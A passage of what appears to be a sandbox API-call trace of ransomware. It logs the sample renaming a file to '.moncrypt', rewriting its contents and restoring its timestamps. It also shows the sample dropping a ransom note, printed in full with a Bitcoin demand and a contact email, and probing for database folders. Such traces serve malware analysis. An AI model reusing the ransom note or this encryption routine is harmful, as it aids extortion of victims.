(pMem=0x555968) returned 0x44000c [0048.582] GlobalUnlock (hMem=0x44000c) returned 0 [0048.582] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.582] GlobalLock (hMem=0x440004) returned 0x557978 [0048.582] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.582] GlobalUnlock (hMem=0x44000c) returned 0 [0048.582] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.582] GlobalUnlock (hMem=0x440004) returned 0 [0048.582] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.583] CharLowerBuffW (in: lpsz="Proof.XML", cchLength=0x9 | out: lpsz="proof.xml") returned 0x9 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", cchWideChar=98, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XMLt", lpUsedDefaultChar=0x0) returned 98 [0048.583] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XMLt", lpUsedDefaultChar=0x0) returned 4 [0048.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.584] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.585] CloseHandle (hObject=0x190) returned 1 [0048.585] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\я")) returned 1 [0048.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0x54e280 [0048.586] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.586] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.586] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", dwFileAttributes=0x20) returned 1 [0048.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.moncrypt")) returned 1 [0048.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.588] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.588] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x5b1 [0048.588] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.588] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x5b1, lpOverlapped=0x0) returned 1 [0048.590] GlobalLock (hMem=0x440004) returned 0x555968 [0048.590] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.590] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.590] GlobalUnlock (hMem=0x440004) returned 0 [0048.590] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.590] GlobalUnlock (hMem=0x44000c) returned 0 [0048.590] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.590] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.590] GlobalUnlock (hMem=0x44000c) returned 0 [0048.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.602] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.602] CloseHandle (hObject=0x190) returned 1 [0048.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.602] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.602] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.602] GlobalUnlock (hMem=0x44000c) returned 0 [0048.602] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.602] GlobalLock (hMem=0x440004) returned 0x557978 [0048.602] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.602] GlobalUnlock (hMem=0x44000c) returned 0 [0048.602] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.602] GlobalUnlock (hMem=0x440004) returned 0 [0048.602] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557978, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69b50, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.603] GetLastError () returned 0x2 [0048.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.603] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.604] CloseHandle (hObject=0x190) returned 1 [0048.604] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0048.604] GetLastError () returned 0x12 [0048.604] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.604] GlobalLock (hMem=0x440004) returned 0x555968 [0048.604] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.604] GlobalUnlock (hMem=0x440004) returned 0 [0048.604] GlobalLock (hMem=0x440004) returned 0x555968 [0048.604] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.604] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.604] GlobalUnlock (hMem=0x440004) returned 0 [0048.604] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.604] GlobalUnlock (hMem=0x44000c) returned 0 [0048.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e40a160, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e40a160, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.605] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.605] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.605] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.605] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.605] GlobalUnlock (hMem=0x44000c) returned 0 [0048.605] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.605] GlobalLock (hMem=0x440004) returned 0x557978 [0048.605] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.605] GlobalUnlock (hMem=0x44000c) returned 0 [0048.605] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.605] GlobalUnlock (hMem=0x440004) returned 0 [0048.605] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.605] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e40a160, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e40a160, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.605] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.605] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.605] GlobalLock (hMem=0x440004) returned 0x555968 [0048.605] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.605] GlobalUnlock (hMem=0x440004) returned 0 [0048.605] GlobalLock (hMem=0x440004) returned 0x555968 [0048.605] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.605] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.605] GlobalUnlock (hMem=0x440004) returned 0 [0048.605] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.606] GlobalUnlock (hMem=0x44000c) returned 0 [0048.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.606] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e40a160, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e40a160, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e40a160, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.606] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.606] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.606] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.606] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.606] GlobalUnlock (hMem=0x44000c) returned 0 [0048.606] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.606] GlobalLock (hMem=0x440004) returned 0x557978 [0048.606] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.606] GlobalUnlock (hMem=0x44000c) returned 0 [0048.606] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.606] GlobalUnlock (hMem=0x440004) returned 0 [0048.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.606] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x675, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML.moncrypt", cAlternateFileName="PROOFX~1.MON")) returned 1 [0048.606] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.606] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.606] GlobalLock (hMem=0x440004) returned 0x555968 [0048.606] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.606] GlobalUnlock (hMem=0x440004) returned 0 [0048.606] GlobalLock (hMem=0x440004) returned 0x555968 [0048.606] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.606] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.606] GlobalUnlock (hMem=0x440004) returned 0 [0048.606] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.606] GlobalUnlock (hMem=0x44000c) returned 0 [0048.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.606] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x675, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML.moncrypt", cAlternateFileName="PROOFX~1.MON")) returned 0 [0048.607] GetLastError () returned 0x12 [0048.607] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.607] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0048.607] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.607] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.607] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.607] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.607] GlobalUnlock (hMem=0x44000c) returned 0 [0048.607] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.607] GlobalLock (hMem=0x440004) returned 0x557978 [0048.607] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.607] GlobalUnlock (hMem=0x44000c) returned 0 [0048.607] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.607] GlobalUnlock (hMem=0x440004) returned 0 [0048.607] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.607] GlobalLock (hMem=0x440004) returned 0x555968 [0048.607] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.607] GlobalUnlock (hMem=0x440004) returned 0 [0048.607] GlobalLock (hMem=0x440004) returned 0x555968 [0048.608] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.608] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.608] GlobalUnlock (hMem=0x440004) returned 0 [0048.608] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.608] GlobalUnlock (hMem=0x44000c) returned 0 [0048.608] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.608] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr", len=0x58 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr") returned 1 [0048.608] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.608] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.608] GlobalUnlock (hMem=0x44000c) returned 0 [0048.608] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.608] GlobalLock (hMem=0x440004) returned 0x557978 [0048.608] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.608] GlobalUnlock (hMem=0x44000c) returned 0 [0048.608] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.608] GlobalUnlock (hMem=0x440004) returned 0 [0048.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@剪U刾U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0048.609] GetLastError () returned 0x3 [0048.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@册U企@\x18㿬Q\x181")) returned 0xffffffff [0048.609] GetLastError () returned 0x2 [0048.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0048.609] GetLastError () returned 0x2 [0048.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@蠌T企@\x18?T\x18D")) returned 0xffffffff [0048.610] 